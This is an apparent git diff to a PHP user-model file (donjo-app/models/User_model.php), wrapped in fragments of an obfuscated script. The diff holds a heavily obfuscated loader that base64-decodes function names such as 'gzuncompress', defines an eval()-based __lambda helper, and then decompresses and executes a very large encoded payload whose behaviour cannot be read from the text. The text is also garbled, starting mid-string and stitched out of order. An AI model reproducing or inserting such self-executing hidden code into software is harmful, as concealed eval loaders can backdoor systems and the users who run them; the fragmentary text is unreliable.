HdFm4LeR56y5zq96rihfii7OF0+bQ3xWhAl+7A8gwtuhHXqwfNf4irEUP7iI/aY/yuX37X3N+vvYFHjrX8yU4M9gnteMZ/7hSESIP4B/08ZvEFdqT0LF2dkbZS32cy/k6+ugxrQtbxkrHsUnHXsjvssLSGP79bv07kycc+nneXoeqOPGpjqltnKHWqC2Mx3mf5mfP6+4+Xqsw9XOKWWMXMIYePCZ7Yor5uCv2R/ZAd/nqrCsZii2NH8/2TY+h0IZPGOxCfFWx5YMzWS8BjhocsK+Ryj4G6H391maN2GTD9et6hY5yjb41v0+tWie51qu+3tgd53TuAz7Lwc33dKNnafYD1eCTPFApjkoV09sDhvIwk3hGdURFX4Ez2/4M0/RmZ3LtCYabOOwwbOT0DPCecrqxs3xBxg47Dcc1MSJuCHmxkQtu8FFTP+IMeR4/O32a+Se8eSyTnmc9z8W6r9VwXqTz9Ivy9z2AlMK+rT8+EweqN69zX6VD1W/u651Pz9voWXX+SlzyMxif+fQM0C4yPxW5sNzHurb/pTx+oreuGvRMDrhpMCnmvlzz4SEvj+7d/FivXtswSKJsRLXuiNervrCOxV6X43MF+oo0EXA/Oe2fTvy0DnFeeanu7rlSOZcrDP1CkR1dw7lbmu6eRVZ1tfK5gtxMk2/grvzJeb72W+XP7kEOnfGrHOui35dW6C3DZo5rzoozPWpW/cwDubaP2/g63l07kmEvPCcpXtSDft6igieE6+ygh57Xz0vrXoZ8BRxw1APCtuXLNjVn4mObdMRwkAf0fD8Rr6PW3ZFuu/kvyqvOyfGpj16TR/MZuzXX5+KW44ww8VWD6uoWOtLzkn2eB057zdyKg3BeVmY+8pVkP5XlnmAuJ9x9vvr05s1f/0O4z9X7z7tPv3z6I8uP1v7Iwp8OG/58Rf9f/XO/7eVvmi9f9DfNp1j5+QScNVR++fRvcPRkig=='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/User_model.php b/donjo-app/models/User_model.php index efb7eee48..ed492a09d 100644 --- a/donjo-app/models/User_model.php +++ b/donjo-app/models/User_model.php @@ -228,7 +228,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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